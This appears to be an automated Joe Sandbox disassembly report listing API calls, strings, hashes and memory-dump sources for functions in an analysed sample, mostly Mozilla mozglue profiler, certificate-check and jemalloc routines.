Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 8e6dc509daa8f4be2c78aace0e1da3a44b37025d6a345a0de947f2e741a12637
Instruction ID: 8e01c964bc57394576bfeca54a4dd82534127f414a6f81e0d871e772b401c7ee
Opcode Fuzzy Hash: 8e6dc509daa8f4be2c78aace0e1da3a44b37025d6a345a0de947f2e741a12637
Instruction Fuzzy Hash: 2DE01A31A4434CBBEB91EB90DC96FEE737C9B44B01F004295BA0C5A1C0DE74AB858B92

Function 007A1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 007B78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 007B7910
Part of subcall function 007B78E0: RtlAllocateHeap.NTDLL(00000000), ref: 007B7917
Part of subcall function 007B78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 007B792F

Part of subcall function 007B7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007A11B7), ref: 007B7880
Part of subcall function 007B7850: RtlAllocateHeap.NTDLL(00000000), ref: 007B7887
Part of subcall function 007B7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 007B789F

ExitProcess.KERNEL32 ref: 007A11C6

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 741b1e1387bfc13e0b471c6734f92936b0e2bd8a2cf6dfd465bf554014eb6bb3
Instruction ID: a76b090d2218f5616166bc1637ad3580f3c2b816217a880d3e0aac91099880a9
Opcode Fuzzy Hash: 741b1e1387bfc13e0b471c6734f92936b0e2bd8a2cf6dfd465bf554014eb6bb3
Instruction Fuzzy Hash: BCE012B592830593DA0473B0EC4EB6A369C5B55785F440524FA09D6122FE2DFC01D566

Function 007B8E30 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 007B8E52

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 75db141c25c603247df073f7a969118255d3dd92b423c7abe851c20182d25cd1
Instruction ID: a354f1a6a1fd4be95c2d88b62c51cfdf546cd6037f6a6b94eea330a86ea7e32d
Opcode Fuzzy Hash: 75db141c25c603247df073f7a969118255d3dd92b423c7abe851c20182d25cd1
Instruction Fuzzy Hash: 77011D34A04148EFCB44CF98C5897EC7BB5EF04308F288088D9056B351C779AF84DB96

Non-executed Functions

Function 6C665440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C665492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6654BE
__Init_thread_footer.LIBCMT ref: 6C6654DB

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C665516
GetCurrentThreadId.KERNEL32 ref: 6C66556A
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665577
moz_xmalloc.MOZGLUE(00000070), ref: 6C665585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C665590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6655E6
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C665616

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetCurrentThreadId.KERNEL32 ref: 6C66563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C665646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C66567C
free.MOZGLUE(?), ref: 6C6656AE

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6656E8
GetCurrentThreadId.KERNEL32 ref: 6C665707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C66570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C665729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C66574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C66576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C665796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6657CA

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6654B9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C665D2B
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C665D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C665B38
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C665724
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C665766
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C665791
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C665C56
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C665BBE
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C665D01
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C665AC9
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C665749
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C66548D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6654A3
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6657AE
GeckoMain, xrefs: 6C665554, 6C6655D5
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C665717
MOZ_PROFILER_STARTUP, xrefs: 6C6655E1
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6656E3
MOZ_BASE_PROFILER_HELP, xrefs: 6C665511
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6657C5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C66584E
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C665D24
[I %d/%d] profiler_init, xrefs: 6C66564E
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C665CF9

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction ID: 177a8c64f2d46a8a752f75fa61e52c8de68fafea378d92d8cf6f77fefddd9d63
Opcode Fuzzy Hash: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction Fuzzy Hash: 2D2205709043419FDB009F76C89666ABBB5AF8734CF04462AE94A87F42EB31E445CB5F

Function 6C666C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C666CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C666D26

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C666D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C666D73
free.MOZGLUE(00000000), ref: 6C666D80
CertGetNameStringW.CRYPT32 ref: 6C666DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C666DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C666DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C666E10
CryptMsgClose.CRYPT32(00000000), ref: 6C666E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C666E34
CreateFileW.KERNEL32 ref: 6C666EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C666F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C66709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C667103
free.MOZGLUE(00000000), ref: 6C667153
CloseHandle.KERNEL32(?), ref: 6C667176
__Init_thread_footer.LIBCMT ref: 6C667209
__Init_thread_footer.LIBCMT ref: 6C66723A
__Init_thread_footer.LIBCMT ref: 6C66726B
__Init_thread_footer.LIBCMT ref: 6C66729C
__Init_thread_footer.LIBCMT ref: 6C6672DC
__Init_thread_footer.LIBCMT ref: 6C66730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6673C2
VerSetConditionMask.NTDLL ref: 6C6673F3
VerSetConditionMask.NTDLL ref: 6C6673FF
VerSetConditionMask.NTDLL ref: 6C667406
VerSetConditionMask.NTDLL ref: 6C66740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C66741A
moz_xmalloc.MOZGLUE(?), ref: 6C66755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C667568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C667585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C667598
free.MOZGLUE(00000000), ref: 6C6675AC

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

SHA256, xrefs: 6C666EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C6672C8
(, xrefs: 6C66768A
wintrust.dll, xrefs: 6C6672CD

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction ID: 66a7cec88e3af785e2294924bd49185265c2d8ef4da158a834f2fe8299d93b89
Opcode Fuzzy Hash: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction Fuzzy Hash: 9852E871A042149FEB21DF26CC84BAA77B8EF46704F144599E909A7A40DB70BF84CF5A

Function 6C690DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C690F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C690F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C690FB7
EnterCriticalSection.KERNEL32(?), ref: 6C690FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C691031
LeaveCriticalSection.KERNEL32(?), ref: 6C6910D0
EnterCriticalSection.KERNEL32(?), ref: 6C69117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C691C39
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C693391
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C693431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693437

Strings

MOZ_CRASH(), xrefs: 6C693950
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6937D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6937A8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6937BD
<jemalloc>, xrefs: 6C693941, 6C6939F1
: (malloc) Unsupported character in malloc options: ', xrefs: 6C693A02
MALLOC_OPTIONS, xrefs: 6C6935FE
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C693559, 6C69382D, 6C693848
Compile-time page size does not divide the runtime one., xrefs: 6C693946
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C693793

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction ID: 96dae9f6c816b0358c2a12f1448292288e71a0c622159dc55be4494e21494cd5
Opcode Fuzzy Hash: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction Fuzzy Hash: 1F539E71A057028FD704CF29C580616FBE1BF8A328F29C76DE8699B791D771E842CB85

Function 6C6B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EE2

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6B61DD
Part of subcall function 6C6B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C6B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4157

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6B6250
Part of subcall function 6C6B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4896
free.MOZGLUE ref: 6C6B489F

Strings

, xrefs: 6C6B4CD2

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction ID: 58ee6da397fa28b9ce1d1355d0b4e0bc2cd33d329d9bb7f3149907bc63987aa2
Opcode Fuzzy Hash: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction Fuzzy Hash: 3CF26C74908B808FC725CF29C08469AFBF1FFCA304F118A5ED99997711DB71A896CB46

Function 6C6664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C666505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C666518
